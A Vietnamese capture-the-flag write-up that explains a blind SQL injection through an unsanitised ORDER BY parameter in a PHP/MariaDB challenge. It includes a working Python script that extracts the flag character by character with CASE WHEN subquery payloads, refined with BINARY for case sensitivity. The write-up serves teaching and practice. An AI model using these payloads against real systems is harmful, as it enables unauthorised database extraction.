Write-up Baby Order By
(Web)
Description:
Đây là 1 challenge chạy bằng PHP
cùng với MariaDB
(1 phiên bản khác của MySQL). Sau khi truy cập vào trang web thì chúng ta sẽ thấy 1 table nào đó trong db và src code của chall.
Src code Analysis:
Trang web có chức năng cho người dùng thay đổi thứ tự sắp xếp của các row trong relation theo name
, price
, quantity
. Phân tích kỹ hơn src code thì chúng ta còn thấy rằng người dùng có thể tùy biến cách sắp xếp thông qua $_GET['order_by']
. Trước khi được đặt vào câu query :
thì biến order-by
sẽ được filter bởi hàm detect_hacker
(hàm này đơn giản chỉ là xóa đi whitespace của input bằng hàm trim
). Sau khi connect đến db và thực hiện câu query, thì từng row 1 sẽ được in ra màn hình theo 4 trường là id, name, price, quantity
.
Attack vector:
Sau khi phân tích src code thì chúng ta có thể nghĩ ngay đến SQL Injection
, hơn nữa dev còn không validate hay sanitize biến order_by
1 cách cẩn thận hay dùng các mitigation như prepare statement
. Tuy nhiên lần này thì untrusted data lại vào sau mệnh đề Order By
=> Chúng ta không thể dùng các cách cũ như UNION
để thực hiện thêm 1 câu truy vấn. Mà nếu ko dùng UNION
thì chúng ta ko thể lấy được flag và in ra màn hình => challenge này chả có lỗi gì và Harry Ha đã lừa chúng ta .
Sau khi xem xét lại các chức năng của trang web thì mình nhận thấy rằng challenge này có thể là 1 loại Blind SQL Injection
(tức là mình có thể select được flag nhưng ko biết được output). Bản chất của các loại Blind Injection
là mình sẽ cố kiểm soát output của chương trình theo ý mình nếu output thỏa mãn điều kiện nào đó mình đặt ra.
Sau khi tìm kiếm những gì mình có thể viết sau clause Order By
mình phát hiện ra là mình có thể dùng thêm :
Đại khái là mình có thể thêm điều kiện về cách các row được sắp xếp. Ví dụ nếu order_by=CASE WHEN id >=5 THEN id ELSE quantity END --
thì ý nghĩa của câu query sẽ sắp xếp các row mà >= 5 thì sắp theo giá trị của id
còn các row bé hơn 5 thì sẽ được sắp xếp theo quantity
. Ngoài ra sau clause When
và trước Then
thì mình có thể thực hiện subquery như (SELECT 'heheboy' AS taptap)
.
=> Ý tưởng của mình là sẽ lấy ra từng ký tự 1 của flag và check xem có đúng ko, nếu đúng thì sẽ sắp xếp theo price
không thì là quantity
Exploit:
Mình sẽ viết 1 script bằng python để exploit:
import requests
from tqdm import tqdm
from string import printable
from bs4 import BeautifulSoup
flag = ''
def check_flag(character):
url = 'http://103.97.125.56:32640/?order_by='
payload = f"CASE WHEN (SELECT SUBSTRING(flag,{len(flag)+1},1) FROM flag) = '{character}' THEN price ELSE quantity END -- "
r = requests.get(url=url + payload)
soup = BeautifulSoup(r.text, 'html.parser')
first_td_tag = soup.find('td')
try:
if first_td_tag.text == '3':
return True
except:
return False
return False
def brute_force():
global flag
while True:
for character in printable:
if check_flag(character):
flag += character
print(flag)
break
if flag[:-1] == '}':
return
brute_force()
Giải thích thêm 1 chút về hàm check_flag
sẽ return True nếu mà kí tự tiếp theo của flag bằng character
thì table product
sẽ xếp row là id = 3
lên đầu còn không sẽ là id = 7
. Sau khi chạy script bên trên thì mình sẽ được flag là
=> CHH{inj3ct1on_0rder_gr0up_claus3}
Nhưng sau khi nộp thì web trả về kết quả là Incorrect Flag
??? Chả nhẽ web bị lỗi T.T nhưng mà có người giải được nên chắc người lỗi là mình T.T, flag ra được như kia r mà vẫn sai. Sau khi debug lại script 1 chút thì mình phát hiện là :
=> Khi so sánh 2 kí tự với nhau trong MySQL thì nó sẽ là case-insensitive (không quan trọng hoa hay thường) nên 'c' = 'C'
. Chứng tỏ 1 số kí tự trong flag tìm được đáng nhẽ ra phải là in hoa hoặc ngược lại. Sau đấy thì mình có tìm được 1 bài viết trên Stack Overflow
nói về việc so sánh case-sensitive trong MySQL:
. Từ đó mình sẽ thay đổi script 1 chút để có được flag đúng ^3^
payload = f"CASE WHEN BINARY (SELECT SUBSTRING(flag,{len(flag)+1},1) FROM flag) = '{character}' THEN price ELSE quantity END -- "
Summary:
1 challenge về SQLI khá hay của Cookiehanhoan, mặc dù có hint về Truncation Attack
nhưng trong cách exploit của mình thì ko có :<. Nếu ai có 1 cách exploit khác thì reply bên dưới để mình bt ^3^